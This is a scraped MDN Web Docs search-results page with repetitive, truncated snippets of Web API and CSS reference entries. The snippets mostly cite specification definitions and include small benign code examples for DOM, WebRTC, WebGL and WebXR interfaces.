...initial value: 1.0 methods this interface also inherits methods of its parents, uievent and event.
...And 2 more matches
GlobalEventHandlers - Web APIs
specifications specification status comment selection apithe definition of 'extension to globaleventhandlers' in that specification.
... pointer lockthe definition of 'extension of document' in that specification.
... html living standardthe definition of 'globaleventhandlers' in that specification.
...And 2 more matches
HTMLAnchorElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlanchorelement' in that specification.
... html5the definition of 'htmlanchorelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlanchorelement' in that specification.
...And 2 more matches
HTMLAreaElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlareaelement' in that specification.
... html5the definition of 'htmlareaelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlareaelement' in that specification.
...And 2 more matches
HTMLDivElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldivelement' in that specification.
... living standard html5the definition of 'htmldivelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmldivelement' in that specification.
...And 2 more matches
HTMLFormElement: reset event - Web APIs
time stamp: ${event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('reset', logreset); result specifications specification status comment html living standardthe definition of 'reset' in that specification.
... working draft no change html 5.2the definition of 'reset' in that specification.
... recommendation no change html 5.1the definition of 'reset' in that specification.
...And 2 more matches
HTMLFormElement: submit event - Web APIs
time stamp: ${event.timestamp}`; event.preventdefault(); } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('submit', logsubmit); result specifications specification status comment html living standardthe definition of 'submit' in that specification.
... working draft no change html 5.2the definition of 'submit' in that specification.
... recommendation no change html 5.1the definition of 'submit' in that specification.
...And 2 more matches
HTMLFrameSetElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlframesetelement' in that specification.
... html5the definition of 'htmlframesetelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlbodyelement' in that specification.
...And 2 more matches
HTMLHRElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlhrelement' in that specification.
... html5the definition of 'htmlhrelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlhrelement' in that specification.
...And 2 more matches
HTMLHeadingElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlheadingelement' in that specification.
... living standard html5the definition of 'htmlheadingelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlheadingelement' in that specification.
...And 2 more matches
HTMLIFrameElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmliframeelement' in that specification.
... html5the definition of 'htmliframeelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmliframeelement' in that specification.
...And 2 more matches
HTMLLIElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmllielement' in that specification.
... living standard html5the definition of 'htmllielement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmllielement' in that specification.
...And 2 more matches
HTMLLabelElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmllabelelement' in that specification.
... living standard html5the definition of 'htmllabelelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmllabelelement' in that specification.
...And 2 more matches
HTMLMapElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmapelement' in that specification.
... living standard html5the definition of 'htmlmapelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlareaelement' in that specification.
...And 2 more matches
HTMLMetaElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmetaelement' in that specification.
... living standard html5the definition of 'htmlmetaelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlmetaelement' in that specification.
...And 2 more matches
HTMLModElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlanchorelement' in that specification.
... html5the definition of 'htmlanchorelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlmodelement' in that specification.
...And 2 more matches
HTMLOListElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlolistelement' in that specification.
... living standard html5the definition of 'htmlolistelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlolistelement' in that specification.
...And 2 more matches
HTMLObjectElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlobjectelement' in that specification.
... living standard html5the definition of 'htmlobjectelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlobjectelement' in that specification.
...And 2 more matches
HTMLOptGroupElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmloptgroupelement' in that specification.
... living standard html5the definition of 'htmloptgroupelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmloptgroupelement' in that specification.
...And 2 more matches
HTMLElement.focus() - Web APIs
n the button!</button> <button type="button" onclick="focusnoscrollmethod()">click me to focus on the button without scrolling!</button> <div id="container" style="height: 1000px; width: 1000px;"> <button type="button" id="mybutton" style="margin-top: 500px;">click me!</button> </div> result specification specification status comment html living standardthe definition of 'focus' in that specification.
... living standard html 5.1the definition of 'focus' in that specification.
... recommendation html5the definition of 'focus' in that specification.
...And 2 more matches
HTMLParagraphElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlparagraphelement' in that specification.
... living standard html5the definition of 'htmlparagraphelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlparagraphelement' in that specification.
...And 2 more matches
HTMLParamElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlparamelement' in that specification.
... living standard html5the definition of 'htmlparamelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlparamelement' in that specification.
...And 2 more matches
HTMLPreElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlpreelement' in that specification.
... living standard html5the definition of 'htmllielement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlpreelement' in that specification.
...And 2 more matches
HTMLQuoteElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlquoteelement' in that specification.
... living standard html5the definition of 'htmlquoteelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlquoteelement' in that specification.
...And 2 more matches
HTMLSelectElement.add() - Web APIs
value="1">option: value 1</option> <option value="2">option: value 2</option> </select> and changes it to: <select id="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> <option value="2">option: value 2</option> </select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.add()' in that specification.
... living standard html5the definition of 'htmlselectelement.add()' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlselectelement.add()' in that specification.
...And 2 more matches
HTMLSelectElement.remove() - Web APIs
lue 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> and changes it to: <select id="existinglist" name="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> </select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.remove()' in that specification.
... living standard html5the definition of 'htmlselectelement.remove()' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlselectelement.remove()' in that specification.
...And 2 more matches
HTMLSelectElement.type - Web APIs
example switch (select.type) { case 'select-multiple': // multiple values may be selected break; case 'select-one': // only one value may be selected break; default: // non-standard value (or this isn't a select element) } specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... html5the definition of 'htmlselectelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlselectelement' in that specification.
...And 2 more matches
HTMLSelectElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... html5the definition of 'htmlselectelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlselectelement' in that specification.
...And 2 more matches
HTMLSpanElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlspanelement' in that specification.
... living standard html 5.2the definition of 'htmlspanelement' in that specification.
... recommendation html 5.1the definition of 'htmlspanelement' in that specification.
...And 2 more matches
HTMLTableCaptionElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltablecaptionelement' in that specification.
... html5the definition of 'htmltablecaptionelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmltablecaptionelement' in that specification.
...And 2 more matches
HTMLTableCellElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltablecellelement' in that specification.
... html5the definition of 'htmltablecellelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmltablecellelement' in that specification.
...And 2 more matches
HTMLTableColElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltablecolelement' in that specification.
... html5the definition of 'htmltablecolelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmltablecolelement' in that specification.
...And 2 more matches
HTMLTableElement.caption - Web APIs
syntax var string = tableelement.caption; example if (table.caption) { // do something with the caption } specifications specification status comment html living standardthe definition of 'htmltableelement.caption' in that specification.
... living standard no change from html5 html5the definition of 'htmltableelement.caption' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.caption' in that specification.
...And 2 more matches
HTMLTableElement.tFoot - Web APIs
} specifications specification status comment html living standardthe definition of 'htmltableelement.tfoot' in that specification.
... living standard no change from html5 html5the definition of 'htmltableelement.tfoot' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.tfoot' in that specification.
...And 2 more matches
HTMLTableElement.tHead - Web APIs
} specifications specification status comment html living standardthe definition of 'htmltableelement.thead' in that specification.
... living standard no change from html5 html5the definition of 'htmltableelement.thead' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.thead' in that specification.
...And 2 more matches
HTMLTableElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltableelement' in that specification.
... html5the definition of 'htmltableelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmltableelement' in that specification.
...And 2 more matches
HTMLTableRowElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltablerowelement' in that specification.
... living standard html5the definition of 'htmltablerowelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmltablerowelement' in that specification.
...And 2 more matches
HTMLTableSectionElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltablesectionelement' in that specification.
... living standard html5the definition of 'htmltablesectionelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmltablesectionelement' in that specification.
...And 2 more matches
HTMLTrackElement - Web APIs
usage notes loading of the track's text resource the webvtt or ttml data describing the actual cues for the text track isn't loaded if the track's mode is initially in the disabled state.
... if you need to be able to perform any processing on the track after the <track> is set up, you should instead ensure that the track's mode is either hidden (if you don't want it to start out being presented to the user) or showing (to initially display the track).
... specifications specification status comment html living standardthe definition of 'htmltrackelement' in that specification.
...And 2 more matches
HTMLUListElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlulistelement' in that specification.
... living standard html5the definition of 'htmlulistelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlulistelement' in that specification.
...And 2 more matches
IDBRequest - Web APIs
the request object does not initially contain any information about the result of the operation, but once information becomes available, an event is fired on the request, and the information becomes available through the properties of the idbrequest instance.
...otifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being // opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database.
... db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'idbrequest' in that specification.
...And 2 more matches
Basic concepts - Web APIs
to learn more about indexeddb terms, see the definitions section.
...also see transaction under the definitions section.
...<iframe> content) can access the indexeddb store for the origin it is embedded into, unless the browser is set to never accept third party cookies (see bug 1147821.) definitions this section defines and explains terms used in the indexeddb api.
...And 2 more matches
KeyboardEvent - Web APIs
obsolete methods keyboardevent.initkeyevent() initializes a keyboardevent object.
... keyboardevent.initkeyboardevent() initializes a keyboardevent object.
... mac after the initial keydown event, only keypress events are sent until the keyup event occurs; the inter-spaced keydown events are not sent.
...And 2 more matches
MediaTrackSettings - Web APIs
this value is specific to the source of the track's data and is not usable for setting constraints; it can, however, be used for initially selecting media when calling mediadevices.getusermedia().
...this value is specific to the source of the track's data and is not usable for setting constraints; it can, however, be used for initially selecting media when calling mediadevices.getusermedia().
...common values include 1.3333333333 (for the classic television 4:3 "standard" aspect ratio, also used on tablets such as apple's ipad), 1.7777777778 (for the 16:9 high-definition widescreen aspect ratio), and 1.6 (for the 16:10 aspect ratio common among widescreen computers and tablets).
...And 2 more matches
NamedNodeMap - Web APIs
specifications specification status comment domthe definition of 'namednodemap' in that specification.
... living standard deals with attr instead of node document object model (dom) level 3 core specificationthe definition of 'namednodemap' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'namednodemap' in that specification.
...And 2 more matches
Node.appendChild() - Web APIs
WebAPINodeappendChild
example // create a new paragraph element, and append it to the end of the document body let p = document.createelement("p"); document.body.appendchild(p); specifications specification status comment domthe definition of 'node.appendchild()' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'node.appendchild()' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'node.appendchild()' in that specification.
...And 2 more matches
Node.childNodes - Web APIs
WebAPINodechildNodes
specifications specification status comment domthe definition of 'node.childnodes' in that specification.
... living standard no change document object model (dom) level 3 core specificationthe definition of 'node.childnodes' in that specification.
... obsolete no change document object model (dom) level 2 core specificationthe definition of 'node.childnodes' in that specification.
...And 2 more matches
Node.firstChild - Web APIs
WebAPINodefirstChild
specifications specification status comment domthe definition of 'node.firstchild' in that specification.
... living standard no change document object model (dom) level 3 core specificationthe definition of 'node.firstchild' in that specification.
... obsolete no change document object model (dom) level 2 core specificationthe definition of 'node.firstchild' in that specification.
...And 2 more matches
Node.insertBefore() - Web APIs
WebAPINodeinsertBefore
specifications specification status comment domthe definition of 'node.insertbefore' in that specification.
... living standard fixes errors in the insertion algorithm dom4the definition of 'node.insertbefore' in that specification.
... obsolete describes the algorithm in more detail document object model (dom) level 3 core specificationthe definition of 'node.insertbefore' in that specification.
...And 2 more matches
Node.lastChild - Web APIs
WebAPINodelastChild
syntax var childnode = node.lastchild; example var tr = document.getelementbyid("row1"); var corner_td = tr.lastchild; specifications specification status comment domthe definition of 'node.lastchild' in that specification.
... living standard no change document object model (dom) level 3 core specificationthe definition of 'node.lastchild' in that specification.
... obsolete no change document object model (dom) level 2 core specificationthe definition of 'node.lastchild' in that specification.
...And 2 more matches
Node.nodeType - Web APIs
WebAPINodenodeType
var node = document.documentelement.firstchild; if (node.nodetype !== node.comment_node) { console.warn("you should comment your code!"); } specifications specification status comment domthe definition of 'node.nodetype' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'node.nodetype' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'node.nodetype' in that specification.
...And 2 more matches
Node.previousSibling - Web APIs
specifications specification status comment domthe definition of 'node.previoussibling' in that specification.
... living standard no change document object model (dom) level 3 core specificationthe definition of 'node.previoussibling' in that specification.
... obsolete no change document object model (dom) level 2 core specificationthe definition of 'node.previoussibling' in that specification.
...And 2 more matches
NodeList - Web APIs
WebAPINodeList
there is also an internet explorer-compatible way to use array.prototype.foreach for iteration: const list = document.queryselectorall('input[type=checkbox]'); array.prototype.foreach.call(list, function (checkbox) { checkbox.checked = true; }); specifications specification status comment domthe definition of 'nodelist' in that specification.
... living standard document object model (dom) level 3 core specificationthe definition of 'nodelist' in that specification.
... obsolete document object model (dom) level 2 core specificationthe definition of 'nodelist' in that specification.
...And 2 more matches
ParentNode.querySelector() - Web APIs
specifications specification status comment domthe definition of 'parentnode.queryselector()' in that specification.
... living standard living standard selectors api level 2the definition of 'parentnode.queryselector()' in that specification.
... obsolete no change dom4the definition of 'parentnode.queryselector()' in that specification.
...And 2 more matches
ParentNode.querySelectorAll() - Web APIs
the :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status comment domthe definition of 'parentnode.queryselectorall()' in that specification.
... living standard living standard selectors api level 2the definition of 'parentnode.queryselectorall()' in that specification.
... obsolete no change dom4the definition of 'parentnode.queryselectorall()' in that specification.
...And 2 more matches
PaymentRequest.show() - Web APIs
for security reasons, the paymentrequest.show() method can't just be initiated at any time.
... button.onclick = async function handlepurchase() { // initialization of paymentrequest arguments are excerpted for the sake of // brevity.
... const initialdetails = { total: { label: "total", amount: { value: "0", currency: "aud" }, }, }; const request = new paymentrequest(methods, initialdetails, options); // check if the the user supports the `methods` if (!await request.canmakepayment()) { return; // no, so use a web form instead.
...And 2 more matches
PerformanceResourceTiming.redirectStart - Web APIs
the redirectstart read-only property returns a timestamp representing the start time of the fetch which that initiates the redirect.
... if there are http redirects when fetching the resource and if any of the redirects are not from the same origin as the current document, but the timing allow check algorithm passes for each redirected resource, this property returns the starting time of the fetch that initiates the redirect; otherwise, zero is returned.
... syntax resource.redirectstart; return value a timestamp representing the start time of the fetch which initiates the redirect.
...And 2 more matches
PerformanceResourceTiming - Web APIs
additionally, the interface extends performanceentry with other properties which provide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
... performanceresourcetiming.initiatortyperead only a string representing the type of resource that initiated the performance entry, as specified in performanceresourcetiming.initiatortype.
... performanceresourcetiming.redirectstartread only a domhighrestimestamp that represents the start time of the fetch which initiates the redirect.
...And 2 more matches
RTCPeerConnection.createOffer() - Web APIs
the createoffer() method of the rtcpeerconnection interface initiates the creation of an sdp offer for the purpose of starting a new webrtc connection to a remote peer.
... return value a promise whose fulfillment handler will receive an object conforming to the rtcsessiondescriptioninit dictionary which contains the sdp describing the generated offer.
...ername, type: "video-offer", sdp: mypeerconnection.localdescription }); }) .catch(function(reason) { // an error occurred, so handle the failure to connect }); in this code, the offer is created, and once successful, the local end of the rtcpeerconnection is configured to match by passing the offer (which is represented using an object conforming to rtcsessiondescriptioninit) into setlocaldescription().
...And 2 more matches
RTCPeerConnection.setRemoteDescription() - Web APIs
syntax apromise = rtcpeerconnection.setremotedescription(sessiondescription); parameters sessiondescription an rtcsessiondescriptioninit or rtcsessiondescription which specifies the remote peer's current offer or answer.
... this value is an offer or answer received from the remote peer through your implementation of the sessiondescription parameter is technically of type rtcsessiondescriptioninit, but because rtcsessiondescription serializes to be indistinguishable from rtcsessiondescriptioninit, you can also pass in an rtcsessiondescription.
... typeerror the specified rtcsessiondescriptioninit or rtcsessiondescription object is missing the type property, or no description parameter was provided at all.
...And 2 more matches
RTCPeerConnectionIceEvent() - Web APIs
options a dictionary of type rtcpeerconnectioninit, which may contain one or more of the following fields: "candidate" (optional, default is null): a rtcicecandidate representing the ice candidate being concerned by the event.
... "bubbles" (optional, default is false): inherited from eventinit(), this boolean option indicates whether or not the event must bubble.
... "cancelable" (optional, default is false, inherited from eventinit(), this boolean indicates whether or not the event can be canceled.
...And 2 more matches
RTCRtpParameters - Web APIs
this parameter cannot be changed once initially set.
...this parameter cannot be changed once initially set.
...this parameter cannot be changed once initially set.
...And 2 more matches
RTCSessionDescription.type - Web APIs
the allowed values are those of an enum of type rtcsdptype: "offer", the description is the initial proposal in an offer/answer exchange.
... "answer", the description is the definitive choice in an offer/answer exchange.
... "pranswer", the description is a provisional answer and may be changed when the definitive choice will be given.
...And 2 more matches
RTCSessionDescription - Web APIs
value description answer the sdp contained in the sdp property is the definitive choice in the exchange.
... offer the session description object describes the initial proposal in an offer/answer exchange.
...the parameter is a rtcsessiondescriptioninit dictionary containing the values to assign the two properties.
...And 2 more matches
Range - Web APIs
WebAPIRange
specifications specification status comment domthe definition of 'range' in that specification.
... dom parsing and serializationthe definition of 'extensions to range' in that specification.
... css object model (cssom) view modulethe definition of 'extensions to range' in that specification.
...And 2 more matches
SecurityPolicyViolationEvent.SecurityPolicyViolationEvent() - Web APIs
syntax let spvevt = new securitypolicyviolationevent(type, eventinitdict); properties type a domstring representing the type of security policy violation that occurred.
... eventinitdict optional a dictionary object containing information about the properties of the securitypolicyviolationevent to be constructed.
... this can include the following properties, but bear in mind that if you do include an eventinitdict, certain properties must be included (marked below with required): blockeduri: the blockeduri of the securitypolicyviolationevent.
...And 2 more matches
SourceBuffer.mode - Web APIs
WebAPISourceBuffermode
the mode value is initially set when the sourcebuffer is created using mediasource.addsourcebuffer().
... if you try to set the mode property value to segments when the initial value is sequence, an exception will be thrown.
... exception explanation invalidaccesserror an attempt was made to set the value to segments when the initial value is sequence.
...And 2 more matches
StorageEvent - Web APIs
storageevent" target="_top"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring represents the key changed.
... methods initstorageevent() initializes the event in a manner analogous to the similarly-named initevent() method in the dom events interfaces.
... syntax storageevent.initstorageevent(type[, canbubble[, cancelable[, key[, oldvalue[, newvalue[, url[, storagearea]]]]]]]) parameters typearg the name of the event.
...And 2 more matches
Text.splitText() - Web APIs
WebAPITextsplitText
save 'bar' as a const const bar = foobar.splittext(3); // create a <u> element containing ' new content ' const u = document.createelement('u'); u.appendchild(document.createtextnode(' new content ')); // add <u> before 'bar' p.insertbefore(u, bar); // the result is: <p>foo<u> new content </u>bar</p> result specifications specification status comment domthe definition of 'text.splittext' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'text.splittext' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'text.splittext' in that specification.
...And 2 more matches
Text - Web APIs
WebAPIText
specifications specification status comment domthe definition of 'text' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'text' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'text' in that specification.
...And 2 more matches
Touch events - Web APIs
definitions surface the touch-sensitive surface.
...ent.createevent("mouseevents"); var type = null; var touch = null; switch (evt.type) { case "touchstart": type = "mousedown"; touch = evt.changedtouches[0]; break; case "touchmove": type = "mousemove"; touch = evt.changedtouches[0]; break; case "touchend": type = "mouseup"; touch = evt.changedtouches[0]; break; } newevt.initmouseevent(type, true, true, evt.originaltarget.ownerdocument.defaultview, 0, touch.screenx, touch.screeny, touch.clientx, touch.clienty, evt.ctrlkey, evt.altkey, evt.shiftkey, evt.metakey, 0, null); evt.originaltarget.dispatchevent(newevt); } calling preventdefault() only on a second touch one technique for preventing things like pinchzoom on a page is to call preventdefault() on the...
... specifications specification status comment touch events – level 2the definition of 'touch' in that specification.
...And 2 more matches
TrackEvent() - Web APIs
return value a newly-created trackevent object, initialized as described by the inputs to the constructor.
... specifications specification status comment html living standardthe definition of 'trackevent()' in that specification.
... living standard initial definition.
...And 2 more matches
TrackEvent - Web APIs
constructor trackevent() creates and initializes a new trackevent object with the event type specified, as well as optional additional properties.
... specifications specification status comment html living standardthe definition of 'trackevent' in that specification.
... living standard initial definition.
...And 2 more matches
UIEvent() - Web APIs
WebAPIUIEventUIEvent
syntax event = new uievent(typearg [, uieventinit]) values typearg is a domstring representing the name of the event.
... uieventinit optional is a uieventinit dictionary, having the following fields: detail: optional and defaulting to 0, of type long, that is a event-dependant value associated with the event.
... the uieventinit dictionary also accepts fields from the eventinit dictionary.
...And 2 more matches
WebGL2RenderingContext - Web APIs
buffers webgl2renderingcontext.bufferdata() initializes and creates the buffer object's data store.
... webgl2renderingcontext.renderbufferstoragemultisample() creates and initializes a renderbuffer object's data store and allows specifying the number of samples to be used.
... transform feedback webgl2renderingcontext.createtransformfeedback() creates and initializes webgltransformfeedback objects.
...And 2 more matches
WebGLRenderingContext.uniform[1234][fi][v]() - Web APIs
all active uniform variables defined in a program object are initialized to 0 when the program object is linked successfully.
... they retain the values assigned to them by a call to this method until the next successful link operation occurs on the program object, when they are once again initialized to 0.
... examples gl.uniform1f(u_alpha, 0.8); specifications specification status comment webgl 1.0the definition of 'uniform' in that specification.
...And 2 more matches
Animating textures in WebGL - Web APIs
using the video frames as a texture the next change is to inittexture(), which becomes much simpler, since it no longer needs to load an image file.
... instead, all it does is create an empty texture object, put a single pixel in it, and set its filtering for later use: function inittexture(gl) { const texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); // because video has to be download over the internet // they might take a moment until it's ready so // put a single pixel in the texture so we can // use it immediately.
... then in main() in place of the call to loadtexture() in the previous example, we call inittexture() followed by setupvideo() .
...And 2 more matches
WheelEvent() - Web APIs
syntax var wheelevent = new wheelevent(typearg, wheeleventinit); properties typearg is a domstring representing the name of the event.
... wheeleventinit optional is a wheeleventinit dictionary, having the following fields: "deltax", optional and defaulting to 0.0, is a double representing the horizontal scroll amount in the deltamode unit.
... the wheeleventinit dictionary also accepts fields from the mouseeventinit, uieventinit and eventinit dictionaries.
...And 2 more matches
XMLHttpRequest - Web APIs
constructor xmlhttprequest() the constructor initializes an xmlhttprequest.
... xmlhttprequest.open() initializes a request.
... non-standard methods xmlhttprequest.init() initializes the object for use from c++ code.
...And 2 more matches
XRInputSourceEvent() - Web APIs
syntax newinputsourceevent = new xrinputsourceevent(type, eventinitdict); parameters type a domstring indicating which of the input source events the new object will represent.
... eventinitdict an object based on the xrinputsourceeventinit dictionary which contains the values to assign to the new event's properties.
... return value a new xrinputsourceevent object representing the event described by the given type and eventinitdict.
...And 2 more matches
XRReferenceSpaceEvent() - Web APIs
syntax let refspaceevent = new xrreferencespaceevent(type, eventinitdict); parameters type a domstring indicating the event type which has occurred.
... eventinitdict an object based on the xrreferencespaceeventinit dictionary, containing data used to initialize the new event object.
... return value a new xrreferencespaceevent object, initialized as defined by the input parameters.
...And 2 more matches
XRSessionEvent() - Web APIs
syntax newxrsessionevent = new xrsessionevent(type, eventinitdict); parameters type a domstring indicating which of the events represented by objects of type xrsessionevent this particular object represents.
... eventinitdict an object conforming to the xrsessioneventinit dictionary which contains values to be applied to the newly-created event object.
... return value a newly-created xrsessionevent object representing an object of the specfied type and configured as described by the eventinitdict parameter.
...And 2 more matches
XRSystem: requestSession() - Web APIs
syntax var sessionpromise = xr.requestsession(sessionmode, sessioninit) parameters sessionmode a domstring whose value is one of those included in the xrsessionmode enum.
... sessioninit optional a xrsessioninit object providing options to configure the new xrsession.
...if the promise resolves, it sets up a session and initiates the animation loop.
...And 2 more matches
XRWebGLLayer() - Web APIs
syntax let gllayer = new xrwebgllayer(session, context, layerinit); parameters session an xrsession object specifying the webxr session which will be rendered using the webgl context.
... layerinit optional an object conforming to the xrwebgllayerinit dictionary, providing configuration options for the new xrwebgllayer.
...any options specified in layerinit are used to tailor the rendering system's configuration.
...And 2 more matches
XRWebGLLayer.framebuffer - Web APIs
opaque framebuffers initialized with the depth property set to false will not have a depth buffer and will rely on the coordinates alone to determine distance.
... opaque framebuffers initialized without specifying a stencil will not have a stencil buffer.
... the default configuration of a new framebuffer upon creating a new xrwebgllayer, its new framebuffer is initialized just like the default framebuffer for any webgl interface: the color buffer is configured with its clear value set to the color (0, 0, 0, 0) (meaning transparent black).
...And 2 more matches
Understandable - Accessibility
note: to read the w3c definitions for understandable and its guidelines and success criteria, see principle 3: understandable — information and the operation of user interface must be understandable.
... 3.1.3 unusual words (aaa) where technical terms, jargon, or idioms/slang are used, definitions should be provided for such phrases/words.
... your site should provide a glossary that contains definitions of such words/terms that you can then link to when they appear, or at the very least provide definitions somewhere in the surrounding text, or in a description list at the bottom of the page.
...And 2 more matches
-webkit-text-fill-color - CSS: Cascading Style Sheets
/* <color> values */ -webkit-text-fill-color: red; -webkit-text-fill-color: #000000; -webkit-text-fill-color: rgb(100, 200, 0); /* global values */ -webkit-text-fill-color: inherit; -webkit-text-fill-color: initial; -webkit-text-fill-color: unset; syntax values <color> the foreground fill color of the element's text content.
... formal definition initial valuecurrentcolorapplies toall elementsinheritedyescomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples changing the fill color css p { margin: 0; font-size: 3em; -webkit-text-fill-color: green; } html <p>this text is green.</p> results specifications specification status comment compatibility standardthe definition of '-webkit-text-fill-color' in that specification.
...And 2 more matches
-webkit-text-stroke-color - CSS: Cascading Style Sheets
/* <color> values */ -webkit-text-stroke-color: red; -webkit-text-stroke-color: #e08ab4; -webkit-text-stroke-color: rgb(200, 100, 0); /* global values */ -webkit-text-stroke-color: inherit; -webkit-text-stroke-color: initial; -webkit-text-stroke-color: unset; syntax values <color> the color of the stroke.
... formal definition initial valuecurrentcolorapplies toall elementsinheritedyescomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...; -webkit-text-stroke-color: #ff0000; /* can be changed in the live sample */ } javascript var colorpicker = document.queryselector("input"); colorpicker.addeventlistener("change", function(evt) { document.queryselector("p").style.webkittextstrokecolor = evt.target.value; }); results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-color' in that specification.
...And 2 more matches
-webkit-text-stroke - CSS: Cascading Style Sheets
/* width and color values */ -webkit-text-stroke: 4px navy; text-stroke: 4px navy; /* global values */ -webkit-text-stroke: inherit; -webkit-text-stroke: initial; -webkit-text-stroke: unset; text-stroke: inherit; text-stroke: initial; text-stroke: unset; constituent properties this property is a shorthand for the following css properties: -webkit-stroke-color -webkit-stroke-width syntax values <length> the width of the stroke.
